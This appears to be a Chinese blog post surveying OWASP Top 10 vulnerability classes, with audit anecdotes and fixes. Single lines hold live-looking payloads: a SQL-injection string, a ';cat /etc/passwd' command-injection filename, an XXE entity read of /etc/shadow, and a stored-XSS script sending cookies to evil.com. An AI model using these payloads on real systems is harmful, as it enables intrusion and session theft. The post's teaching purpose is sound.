游客发表
2021年12月,Log4j2爆出JNDI注入漏洞,全球超过一亿台服务器受影响。运维群里有人凌晨三点还在打补丁,有人干脆拔了网线。这个漏洞的本质不复杂——Log4j在打印日志时,会把用户输入的内容当作代码执行。但就是这么一个"简单"的逻辑缺陷,差点掀翻半个互联网。
OWASP Top 10每几年更新一次,2021版和之前相比变化不小。我结合自己踩过的坑和审过的代码,聊聊最常遇到的十类问题。
SQL注入排在第一,不是因为它最危险,而是因为它最普遍。很多开发者觉得用了ORM就安全了,但MyBatis里一个${ }和#{ }的区别就能让整个系统裸奔。我见过一个后台管理系统,搜索框直接拼接SQL,输入' OR 1=1 --就能拉出所有用户数据。更离谱的是,这个系统还部署在公网上,三年没人发现。
命令注入同样常见。某次渗透测试,一个文件导出功能把文件名拼进Runtime.exec(),我构造了个;cat /etc/passwd,服务器直接回显了密码文件。修复方式很简单——别碰系统命令,用Java的File API就行。
2020年某政务平台被爆出,登录接口返回的token里直接包含了用户ID和角色,Base64解码就能改。攻击者把role:user改成role:admin,重新编码后就能访问管理后台。这不是段子,是真实发生的案例。
另一个重灾区是密码重置。很多系统的"忘记密码"功能,验证码是四位数字,没有次数限制,也没有有效期。写个脚本跑一万次,总有一次能撞对。还有人把验证码直接返回在HTTP响应里,这跟把钥匙插在门上有什么区别?
去年帮朋友看一个电商小程序,抓包发现用户手机号在接口里明文传输。更糟的是,数据库里存的也是明文。我问他为什么不加密,他说"加密了搜索不方便"。这种权衡可以理解,但至少传输层要用HTTPS,存储层要用AES。
还有一类容易被忽略——日志泄露。某次审计发现,系统把用户的身份证号和银行卡号打进了log文件,而这些日志会被同步到ELK集群,运维、开发、测试都能看。数据泄露往往不是被黑客攻破,而是自己人随手一搜就看到了。
这个漏洞在API时代反而更常见了。很多接口接收XML格式的数据,解析时没有禁用外部实体。攻击者构造一个&xxe;实体,指向/etc/shadow,服务器解析后就把文件内容返回了。我见过一个支付回调接口存在这个问题,攻击者可以读取服务器上的任意文件。
修复方法很简单——解析XML时设置disallow-doctype-decl为true。但很多老系统用的是默认配置,开发者根本不知道这个开关的存在。
水平越权和垂直越权是最常见的。水平越权是A用户能看B用户的数据,垂直越权是普通用户能执行管理员操作。某次测试一个OA系统,我把URL里的userId=1001改成userId=1002,直接看到了别人的工资条。系统只检查了"是否登录",没检查"是否有权限"。
这类漏洞的根源在于,很多开发者把权限控制放在前端。前端隐藏了按钮,但接口没有校验。攻击者用Burp Suite改个请求就能绕过。记住一句话:前端是展示层,后端才是安全边界。
默认密码、开启调试模式、目录列表可浏览、错误信息暴露堆栈——这些都是配置问题。我见过一个Spring Boot应用,生产环境没关/actuator/env端点,攻击者直接读取了数据库连接字符串。还有人把.git目录部署到了线上,源码被完整下载。
这类问题没有技术含量,但发生率极高。每次上线前跑一遍配置检查清单,能挡掉八成低级攻击。
存储型XSS最危险。某论坛的评论功能没有过滤HTML,我发了一条<script>fetch('//evil.com?c='+document.cookie)</script>,所有查看这条评论的用户,cookie都会被发送到我的服务器。如果管理员也看了这条评论,他的会话就被我接管了。
反射型XSS需要诱导点击,DOM型XSS则完全在客户端发生。防御的核心就一条:对输出进行编码。别用innerHTML,用textContent。
Java的ObjectInputStream.readObject()是重灾区。如果反序列化的数据可控,攻击者可以构造利用链执行任意命令。WebLogic、JBoss、Shiro都出过这类漏洞。修复方式要么是白名单校验,要么干脆别用Java原生序列化,换JSON。
Struts2、Fastjson、Shiro、Log4j——这些组件的历史漏洞数不胜数。很多项目引入依赖时从不看版本,也不关注安全公告。等到漏洞爆发,才发现自己用的是三年前的版本。建议用OWASP Dependency-Check定期扫描,别等出了事再补救。
没有日志,出了事根本查不到。但日志太多也是问题——关键操作没记录,无关信息刷屏。我建议至少记录:登录失败、权限变更、数据导出、配置修改。监控要能实时告警,别等用户数据被拖库了才发现。
这十类漏洞,没有一个是新技术带来的。它们反复出现,是因为开发节奏太快、安全培训太少、侥幸心理太多。工具能解决一部分问题,但真正的防线是写代码的人。下次提交代码前,花五分钟想想:这个输入可信吗?这个接口有权限校验吗?这个错误信息会不会泄露什么?
友情链接